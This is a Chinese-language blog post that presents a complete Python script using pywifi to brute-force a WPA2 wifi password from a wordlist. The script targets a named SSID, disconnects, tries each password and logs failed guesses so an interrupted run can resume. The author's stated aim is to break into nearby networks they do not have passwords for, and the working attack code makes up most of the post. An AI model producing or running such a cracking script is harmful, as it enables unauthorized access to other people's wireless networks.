python使用字典暴力解析wifi密码

前言

最近无wifi可用,搜到了很多高质量但是没有密码的WiFi,我在想应该可以用python调用常见的wifi字典包来暴力破解一下这些WiFi,也许可以成功

原理

使用pip install pywifi命令安装pywifi

使用它调用本机网卡,设置wifi加密方式,对字典包扫描密码逐个尝试

扫描失败的密码会被放入error.txt文件,当意外中断wifi扫描时可以立刻从上次扫描失败的点重新开始尝试

尝试了一下也就用常见的wifi密码字典包,尝试下,大概有几十万条,如果让0-9,a-z随机组合下那是不可能的,因为组合的种类有百亿条,千万年都跑不完

源码

复制代码
import pywifi
from pywifi import const
import time
errorList=[]
# WiFi连接函数
def connect_wifi(ssid, password):
    wifi = pywifi.PyWiFi()  # 创建一个WiFi对象
    iface = wifi.interfaces()[0]  # 获取第一个无线网卡接口

    iface.disconnect()  # 断开当前WiFi连接

    time.sleep(1)  # 等待1秒

    profile = pywifi.Profile()  # 创建WiFi配置文件
    profile.ssid = ssid  # 设置WiFi名称(SSID)
    profile.auth = const.AUTH_ALG_OPEN  # 设置WiFi加密算法(这里使用开放式认证)
    profile.akm.append(const.AKM_TYPE_WPA2PSK)  # 设置WiFi身份验证算法(这里使用WPA2-PSK)
    profile.cipher = const.CIPHER_TYPE_CCMP  # 设置WiFi加密方式(这里使用CCMP加密)

    profile.key = password  # 设置WiFi密码

    # 删除所有WiFi配置文件
    iface.remove_all_network_profiles()

    # 添加新的WiFi配置文件
    tmp_profile = iface.add_network_profile(profile)
    iface.connect(tmp_profile)  # 连接WiFi

    time.sleep(3)  # 等待3秒,等待连接成功

    if iface.status() == const.IFACE_CONNECTED:  # 判断是否连接成功
        print(f"成功连接到WiFi:{ssid},密码为:{password}")
        return True
    else:
        print(f"无法连接到WiFi:{ssid},密码为:{password}")
        # 将字典保存到文件
        with open('error.txt', 'a') as f:
                f.write(password + '\n')
        return False

# 读取字典文件
with open('dictionary.txt', 'r') as f:
    dictionary = f.read().splitlines()
with open('error.txt', 'r') as f:
    errorDictionary = f.read().splitlines()
ssid = '4F'  # 替换为目标WiFi的SSID
realDict=[]
for i in dictionary:
    if i not in errorDictionary:
        realDict.append(i)
# 尝试字典中的每个密码
for password in realDict:
    if connect_wifi(ssid, password):
        break  # 如果成功连接,停止尝试密码
相关推荐
小HANN17 分钟前
Linux建站实战:CentOS7+LNMP 从零部署 ECShop 开源电商系统
linux·运维·服务器·经验分享
2601_9622959944 分钟前
嵌入式开发语言用哪个最好,C,python或者其他
c语言·python·嵌入式开发·开发效率·系统资源
数安旭说1 小时前
终端防火墙深度拆解:网络隔离、进程级管控与流量治理的落地避坑指南
网络·数据安全·企业安全·防火墙·终端安全·终端防火墙·违规外联
三8441 小时前
SSRF 从入门到实战:原理、危害与基础利用
服务器·网络安全·ssrf·#web安全
菜鸡66661 小时前
绕过cf验证,部署 FlareSolverr 服务使用request处理
python·cloudflare
数智工坊1 小时前
NTIRE2024×4图像超分竞赛综述|Mamba崛起、数据缩放、频域增强成为新趋势
网络·人工智能·深度学习·cnn·机器人
聚美智数1 小时前
网安查询-备案查询-网络安全查询API接口介绍
网络·数据库·web安全
前端 贾公子1 小时前
第10章:RAG(2)
开发语言·python
2601_962299492 小时前
使用 Python 将 CSV 转为 PDF(含表格样式美化)
python·pdf·csv·spire.xls·表格样式
平原20182 小时前
GPT Image 2 / Nano Banana API成本拆解:$0.0081、84.7%与单张有效成本
linux·服务器·gpt